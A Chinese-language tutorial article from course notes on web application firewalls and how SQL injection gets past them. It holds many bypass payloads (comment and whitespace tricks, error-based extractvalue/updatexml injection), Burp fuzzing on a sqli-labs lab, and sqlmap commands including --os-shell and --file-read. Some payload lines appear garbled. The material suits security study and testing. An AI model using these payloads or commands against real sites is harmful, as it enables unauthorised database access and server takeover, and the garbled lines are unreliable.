专栏首页渗透云笔记WAF的介绍与WAF绕过原理

WAF的介绍与WAF绕过原理

WAF 是什么?全称 Web Application Firewall (WEB 应用防护系统),与传统的 Firewall (防火墙) 不同,WAF 针对的是应用层。

安全是一个不断对抗的过程,有防护手段,就有相应的绕过手段。

渗透测试过程中,WAF 是必定会遇到的,如何绕过 WAF 就是一个问题。

WAF 绕过的手段千变万化,分为 3 类

  • 白盒绕过
  • 黑核绕过
  • Fuzz绕过

以下以 SQL 注入过程 绕 WAF 为例列举需要的知识点。

  • 熟练掌握 MySQL函数和语法使用方法
  • 深入了解中间件运行机制
  • 了解 WAF 防护原理及方法

做到这三点,即可做到随心所欲的绕过 WAF 的保护。

白盒绕过

blacklist 大概的意思是对 andor进行过滤,且不论大小写,均替换为空.

如果绕过:

  • 大小写变形:Or,OR,oR
  • 等价替换:and → && ,or → ||
  • ……(例如 OorR)

白盒下的绕过主要针对源码进行审计,分析函数功能,构造特定的包进行绕过。

黑盒绕过

  • 架构层绕过 WAF
    • 寻找源站(针对云 WAF)
    • 利用同网段(绕过防护区域:例如WAF部署在同一网段的出口,使用网段的主机进行攻击,流量不经过WAF 。)
    • 理解边界漏洞(绕过防护区域:例如利用 SSRF 对其内部进行测试)
  • 资源限制角度绕过 WAF
    • POST大 BODY
  • 协议层面绕过 WAF 的检测
    • 请求方式变换:GET 变为 POST
    • Content-Type 变换:application/x-www-form-urlencoded;multipart/form-data;
    • 参数 污染(在服务器交互的过程中,Http 允许 get 或者post 多次传同一个参数值,造成覆盖,配合WAF 解析的先后规则有可能绕过 WAF 的防护)
    • 协议未覆盖绕过 WAF
  • 规则层面的绕过(主要的绕过方式,本课程的重点)

SQL注释符的绕过

union/**/select #Level-1
union/*aaaa%01bbs*/select #Level-2
union/*aaaaaaaaaaaaaaaaaaaaaaaa*/select #Level-3
/*!xxx*/ #内联注释

空白符绕过

%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/ #MySQL空白符
%09,%0A,%0B,%0D,%20 #正则的空白符
union%250Cselect #Example-1 (%25=% %0c=空白符)
union%25A0select #Example-2

函数分割符号

concat%2520()
concat/**/()
concat%250c()
concat%250()

浮点数词法解析

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0

利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略)

extractvalue(1, concat(0x5c,md5(3)))
updatexml(1, concat(0x5d,md5(3)),1); GeometryCollection((select*from(selectlrom(select@@version)f)x)) polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygonO()

MySQL 特殊语法

MYSQL1nigth Oselect{x table_name}from{x information_schema.tables};

Fuzz绕过

上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破WAF的方式,就需要Fuzz的过程,Fuzz 在软件测试领域,一般指”模糊测试“。

你说了那么多,不就是瞎猫碰死耗子吗?

漏洞对我们来说是未知的,能绕过规则的语句也是未知的,人无法尝试所有的输入,盲目猜测是没有意义且低效。

简单的Fuzz看起来就像是枚举,更为复杂的Fuzz则生成了那些概率极低的偶然事件,而这,就是我们想要的答案。

下面搭建(phpStudy 2018 +某狗)sqli-labs环境进行测试(某狗的CC防护和IP黑名单功能关闭,只开启HTTP防护)。

正常的SQL注入测试流程发现加\'之后报错推测有SQL注入,进一步使用语句测试发现触发WAF,查看拦截日志也能查看到记录。

下面使用Burpsuite 的模块实现Fuzz。这里以在语句中注释符为例。

  • 最基本的:union/**/select
  • 测试引入中间特殊字符:union/*aaa%01bbx*/select
  • 测试注释长度:union/*aaaaaaaaaaaaaaa*/select

设置payload的过程如下,生成字典只用了几个字符。

本地机器线程无所畏惧,很快的结果就出来了。

看到不同长度的响应,有Fuzz出语句了吗?这样的语句不一定能用,如果绕过waf的规则语句无法正确执行,也是没用的。

很遗憾的是我这里最后得到的语句即使过狗也无法正确执行,不然我都就能演示如何过狗呢。我说说后续如何进行的,最后得到的Fuzz结果是一个固定的格式,后续SQL注入语句中将特征进行替换即可。后续可能还会出现一个问题,函数如何绕过,对函数进行变形或者利用中间件解析特性。

有前辈指出,这种Fuzz方式的本质都是对正则的逃逸,仔细想想,不无道理。

WAF是如何防护的?“ WAF基于对http请求的分析,识别恶意行为,执行相关的阻断、记录、放行等”。

WAF如何分析http请求?http是一种文本协议,一般现代WAF采用的是正则表达式做规则,“ 正则表达式的语法和文本协议的复杂逻辑允许替换等价的结构和使用不同的符号表示 , 在创建这些规则时会导致错误。“

而上述的绕过都是WAF的正则无法匹配,错误的进行的放行,导致绕过WAF的发生。

SQLmap的tamper

sqlmap相信不用我多介绍,只需要记得两个选项帮组你记忆。

sqlmap -h #帮助选项
sqlmap -hh #更为详细的帮组选项

常用的是以下语句

sqlmap -u "http://wuhash.ml/Less-1/?id=1"  
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-db
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-user
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  -D databasename -T table -C column
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --os-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --sql-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --file-read
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --file-write 本地文件 --file-dest 目标目录及文件

tamper脚本存放于sqlmap安装目录下,其主要的功能是对payload进行处理以应对不同情况,其中也包括绕过WAF。笔者写下此文时,内置了116个脚本,实际上tamper脚本是一段python脚本,任意打开一段脚本,可以看到对payload进行的处理过程,脚本的核心功能为tamper函数。

使用sqlmap –list-tampers查看tamper的描述信息。

下面以sqli-labs的Less-28关为例,直接对Less-28进行sqlmap会发现无法注入,打开Less-28的源码可以看到接受的参数ID在传入SQL语句之前,经过了blacklist的处理,而blacklist的功能为对一些符号替换为空,这些符号包括(/、*、–、#、space、union+空白符+select的组合)。

打开一份tamper,复制一份,在原有的基础上进行修改,最终写出的tamper脚本如下,是不是有人黑人问号脸?

注意写出tamper的前提是已经构造出绕过,写出tamper只是将这个技巧工程化。

如何构造出绕过呢?这有回到课程一开始的话题,这里很简单,针对源码构造即可。

tamper的功能为将“unino select ”替换为“union all select”,将空白符替换为”%0a”,用以规避blacklist对参数进行的处理。

再次测试,跟上tamper脚本名,很顺利的检测到注入点。

总结

这是两节课程的笔记,这一章的绕WAF技巧都可以总结为对payload进行变形,如何变形才能成功的绕过才是关键的问题。

从防御者的角度来说,基于正则的WAF已经不足以防护,这是正则本身的缺陷,市面上已经宣称基于流量的机器学习、人工智能技术的下一代WAF出现,笔者没有工作在一线,未曾接触。

相信即使出现这样的产品,也没有绝对的安全,任何一个脆弱点带来的攻击面都会突破整个系统。

文章分享自微信公众号:
渗透云笔记

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

如有侵权,请联系 yunjia_community@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • 浅谈Bypass Waf - 上(基础篇)

    Waf全称为Web Application FireWall(Web应用防火墙);顾名思义Waf原理与日常使用防火墙相似,但主要注重在Web页面中存在的对应安全...

    Ms08067安全实验室
  • 关于WAF的那些事

    首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包,以及为服务器打上临时补丁的...

    C4rpeDime
  • 技术分享:杂谈如何绕过WAF(Web应用防火墙)

    0x01开场白 这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家。 可能在大家眼中WAF(Web应用防火墙)就是“不要脸”的代名词。如果没有他...

    FB客服
  • 绕过WAF防火墙?

    现实中的Web服务,可能潜伏各种Bug漏洞,即便积极的定期进行Web扫描,也不保证万无一失,基于这种原因,应运而生了Web防火墙WAF,最常见的是在基于代理模式...

    糖果
  • 分块传输绕过WAF

    在介绍WAF绕过技术之前,我们必须要要搞明白一个问题,那就是WAF为什么会存在被绕过的风险?这是因为WAF对数据包的解析和Web服务器对数据包的解析两者之...

    Ms08067安全实验室
  • WAF 绕过的捷径与方法

    在企业架构中,安全体系同剥洋葱一般,由外及内是由一层层的安全产品和规范构成,越处于外层承重越大,WAF 属七层防护的第一道墙,随着互联网技术发展,业务对外提供服...

    信安之路
  • 一键https(WAF)接入问题--请求无法正常响应

    腾讯云‘一键HTTPS’底层使用就是SaaS WAF,所以这里的排查思路是一致的。SaaS WAF可以理解为一个Nginx服务集群,域名接入SaaS WAF并将...

    韦锡隆
  • 一键https(WAF)接入问题--重定向次数过多

    腾讯云‘一键HTTPS’底层使用就是SaaS WAF,所以这里的排查思路是一致的。SaaS WAF可以理解为一个Nginx服务集群,域名接入SaaS WAF并将...

    韦锡隆
  • 网站安全公司waf防火墙的作用分析

    这篇文章内容关键详细介绍WAF的一些基本概念。WAF是专业为维护根据Web程序运行而设计的,我们科学研究WAF绕开的目地一是协助安服工作人员掌握渗透检测中的检测...

    网站安全专家
  • 网站安全公司waf防火墙基本介绍

    这篇文章内容关键详细介绍WAF的一些基本概念。WAF是专业为维护根据Web程序运行而设计的,我们科学研究WAF绕开的目地一是协助安服工作人员掌握渗透检测中的检测...

    技术分享达人
  • WAF的那点事

    以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。

    字节脉搏实验室
  • Waf功能、分类与绕过

    Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    婷婷的橙子
  • 文件上传Bypass安全狗

    我们知道WAF分为软WAF,如某狗,某盾等等;云WAF,如阿里云CDN,百度云CDN等等;硬WAF,如天融信,安恒等等,无论是软WAF、云WAF还是硬WAF,总...

    HACK学习
  • 如何使用log4j-scan检测主机中的Log4J漏洞

    log4j-scan是一款功能强大的自动化漏洞检测工具,该工具主要针对的是Log4J远程代码执行漏洞-CVE-2021-44228,并且可以提供准确的扫描结果。...

    FB客服
  • 护卫神安全防护软件的绕过总结

    最近的恰饭文有点多,是时候该分享些东西了,等以后有空了再整理下其他WAF的绕过系列分享给大家,感谢大家的理解和支持,抱拳!

    潇湘信安
  • 打破基于openresty的WEB安全防护(CVE-2018-9230)

    原文链接:https://www.anquanke.com/post/id/103771

    Bypass
  • 【原创】确定不看吗?基础篇--文件包含Bypass漏洞总结

    本篇文章为星球团队成员原创文章,已申请原创权限,如其他公众号有需要转文,请联系信安旅程运营人员。

    7089bAt@PowerLi
  • 常见6种WAF绕过和防护原理

    今天就聊聊关于上传绕过WAF的姿势,WAF(Web Application Firewall)简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为...

    斑马
  • RSA 创新沙盒盘点| Sqreen—WAF和RASP综合解决方案

    2020年2月24日-28日,网络安全行业盛会RSA Conference将在旧金山拉开帷幕。前不久,RSAC官方宣布了最终入选今年的创新沙盒十强初创公司:Ap...

    绿盟科技研究通讯

扫码关注云+社区

领取腾讯云代金券